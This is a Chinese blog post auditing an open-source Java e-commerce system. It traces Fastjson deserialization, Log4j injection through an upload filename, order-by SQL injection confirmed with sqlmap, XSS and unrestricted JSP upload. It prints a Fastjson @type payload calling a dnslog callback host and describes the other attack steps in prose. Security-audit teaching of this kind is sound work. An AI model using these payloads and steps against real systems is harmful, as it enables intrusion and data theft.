代码审计 | 某商城系统

2025-02-09 4 0

一、cms简介:

本文是关于某商城系统代码漏洞分析学习,大纲:

1、环境搭建
2、漏洞分析

二、环境搭建

下载源码,使用idea导入

启动环境

三、漏洞分析

1、第三方组件漏洞审计

本项目是基于Maven构建的。对于Maven项目,我们首先从 pom.xml 文件开始审计引入的第三方组件是 否存在漏洞版本,然后进一步验证该组件是否存在漏洞点。 本项目引入的组件以及组件版本整理如下。

组件名称

组件版本

SpringBoot

2.1.6.RELEASE

Fastjson

1.2.58

Mysql

5.1.47

Druid

1.1.19

Taglibs

1.2.5

Mybatis

3.5.1

Log4j

2.10.0

2、组件漏洞代码审计通过查看

pom.xml 文件中引入的第三方插件,且经过搜索查询,发现Fastjson、Log4j、Mybatis引入存在漏洞的版本,我们进一步验证是否存在漏洞。

2.1、Fastjson漏洞代码审计

本项目引入的Fastjson版本为1.2.58,该版本存在反序列化漏洞。

2.1.1、Fastjson简述

Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java对象之间相互转换。 两个主要接口是JSON.toJSONString和JSON.parseObject/JSON.parse,分别实现序列化和反序列化操作。

2.1.2、寻找漏洞触发点

已确定了Fastjson版本存在问题,进一步寻找触发Fastjson的漏洞点。我们关注两个函数 JSON.parse() 和 JSON.parseObject() 。 全局搜索两个关键字,发现本项目存在 JSON.parseObject()

进入 ProductController.java 文件,问题代码出现在了第151行 ,使用 JSON.parseObject() 方法反序列化了 propertyJson 参数,我们向上追踪 propertyJson 参数,该参数是 添加产品信息 接口中 产品属性JSON 字段

我们去验证一下,去该模块抓包修改数据

把参数替换成 fastjson的payload

{"@type":"java.net.Inet4Address","val":"1lbp04.dnslog.cn"}

验证成功

2.2、Log4j漏洞代码审计

本项目引入的Log4j版本为2.10.0,该版本存在远程代码执行漏洞。

2.2.1、Log4j简述

Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文 件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一 条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

2.2.2、寻找漏洞触发点

全局搜索关键字 logger

发现有几处日志记录拼接了变量参数

进入该代码文件,该文件位于 src\main\java\com\xq\tmall\controller\admin\AccountController.java 。该代码文件位于 Controller层,主要用于和视图交互,处理用户输入的数据等操作。

对上述代码进行分析。触发漏洞点的代码为65行的 logger.info("获取图片原始文件名:{}", originalFileName); 。向上追踪,发现通过 file.getOriginalFilename(); 获取file的文件名后赋值 给 originalFileName 。在向上追踪,file参数来自 admin/uploadAdminHeadImage 接口,通过注释我 们可以知道此处为 管理员头像上传 功能。

总结来说:访问管理员头像上传功能,将文件名改为攻击语句,即可触发Log4j漏洞。

2.3、Mybatis漏洞代码审计

本项目引入的Mybatis版本为3.5.1,该版本存在远程命令执行漏洞。我们进一步探索一下。 Mybatis < 3.5.6存在远程代码执行漏洞,CVE编号为 CVE-2020-26945 。 在满足以下三个条件的时候,攻击者可以触发远程代码执行:

1、用户启用了内置的二级缓存(默认不开启,需手动配置)

2、用户未设置JEP-290过滤器

3、攻击者找到了一种修改私有Map字段条目的方法,即修改 org.apache.ibatis.cache.impl.PerpetualCache.cache有效的缓存密钥

所谓二级缓存,也就是将查询结果放到缓存中,下次查询时结果相同的话直接从缓存中获取结果。 经过探索 src\main\resources\mybatis 下面的配置文件,本项目并未开启 二级缓存。

Mybatis开启二级缓存语句
<setting name = "cacheEnabled" value = "true" />

关键条件被否定,即不存在该漏洞

3、单点漏洞审计

对组件是否存在漏洞进行验证后,我们针对功能单点代码审计,发现存在的漏洞。 对于单点功能代码审计除了特定漏洞存在特定代码审计方法,一般我习惯先去看一遍Controller层代码, 了解基本功能。再从功能出发进行代码审计。

3.1、SQL注入漏洞代码审计

本项目使用了Mybatis,来定义SQL。我们主要查看Myabatis中 xxxMapper.xml 文件中是否存在使用 $ 拼接SQL语句的情况。使用 $ 是直接拼接SQL语句的,未进行转义。 全局搜索关键字 $ ,确实存在几处 order by 使用了 $ 拼接SQL语句,因为 order by 是没办法使用 #{} 的。

以 UserMapper.xml 文件为例,进行逆向追踪。

①、双击进入 UserMapper.xml 文件,第78行存在问题。向上查看根据 select id 追踪该dao层的代码 文件。如果在IDEA中安装插件 Free Mybatis plugin 是可以快速进行跳转到代码文件,只需点击左侧 绿色箭头即可

②、跳转到dao层代码文件,可以看到select函数中存在 orderUitl 参数,我们继续逆向追踪,看看参数 值从何而来。

③、键盘按住 ctrl 键后鼠标左击 select ,查看谁使用该函数

④、可以看到有两个文件使用了该函数方法,点击 UserServiceImpl.java 文件,定位到37行。

⑤、从上图可以看出。 getList 方法中需要 orderUtil 参数,我们继续逆向追踪,看看orderUtil又是从 何而来。首先看看谁使用了 getList 方法,键盘按住 ctrl 键后鼠标左击 getList

⑥、可以看到 UserController.java 使用了该方法,且第170行中传入了 orderUtil 值,进入文件查看 具体代码

⑦、针对上述文件进行分析,先看161行实例化OrderUitl工具类,该类需要两个参数即, orderyBy和 isDesc 。点击进入查看该类的代码,该类文件位于 src\main\java\com\xq\tmall\util\OrderUtil.java 。通过注释了解该类用于排序/倒序字段

⑧、此时应该追踪 orderBy 参数是从何而来。从下图可以看到,该值通过 admin/user/{index}/{count} 接口传过来的。通过注释可以看出来该接口用于按条件查询用户

整个流程串下来,确定了漏洞点为 orderby 参数,该参数值来源于 按条件查询用户 。

既然接口找到了,我们可以使构造请求,然后进一步验证。或者,通过 注释我们了解到该接口为查询用户,我们访问后台寻找功能点,发现用户管理翻页查询会向该接口发送 请求数据包

我们直接用sqlmap跑

存在时间注入

3.2、XSS漏洞代码审计

从开发视觉来看防护XSS漏洞,大多是过滤/转义用户的输入和输出。对于开发人员来说,不可能对每一 个输入和输出点进行过滤/转义。一般常使用filter层(过滤器)或拦截器进行统一过滤。 或者所使用的前端框架自带防XSS机制。 所以,我们审计XSS漏洞第一步看看filter层是否存在XSS过滤代码。对本项目审计发现filter层并没有关于防护XSS的代码

第二步,我们看看使用的前端框架是什么,版本是多少,以及是否存在防XSS漏洞机制。经过一番查找, 发现pom.xml和webapp文件下,都表明使用了传统的JSP。JSP大多配合Filter进行XSS防护,上述我们发现filter层并没有XSS防护机制。

利用成功

3.3、任意文件上传代码审计

在做Log4j漏洞代码审计时,我们发现管理员头像上传存在文件上传功能,对于该功能,我们主要审计一下是否存在任意文件上传漏洞。 一般,对于代码审计任意文件上传漏洞来说,首先是看看是否存在文件上传功能,然后进一步审计是否 存在任意文件上传漏洞。 或者我们可以查看Controller层所有代码,了解项目大致有哪些功能点。 或者搜索相关关键字,文件上传关键字如下:

File
FileUpload
FileUploadBase
FileItemIteratorImpl
FileItemStreamImpl
FileUtils
UploadHandleServlet
FileLoadServlet
FileOutputStream
DiskFileItemFactory
MultipartRequestEntity
MultipartFile
com.oreilly.servlet.MultipartRequest

但对于 SpingBoot项目 来说,想要SpringBoot内嵌的Tomcat对JSP解析,一定要引入相关依赖。

直接上传jsp文件即可


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

Vulnhub靶场之Phineas
[Meachines] [Easy] Precious Ruby-pdfkit-RCE+Ruby YAML反序列化权限提升
美国医疗系统遭遇重大数据泄露,88.2万患者信息被曝光
DeepSeek应用未加密传输敏感用户和设备数据,引发安全担忧
基于本地大模型的敏感信息检测的burp插件开发
flaskpython代码审计思路及实战记录

发布评论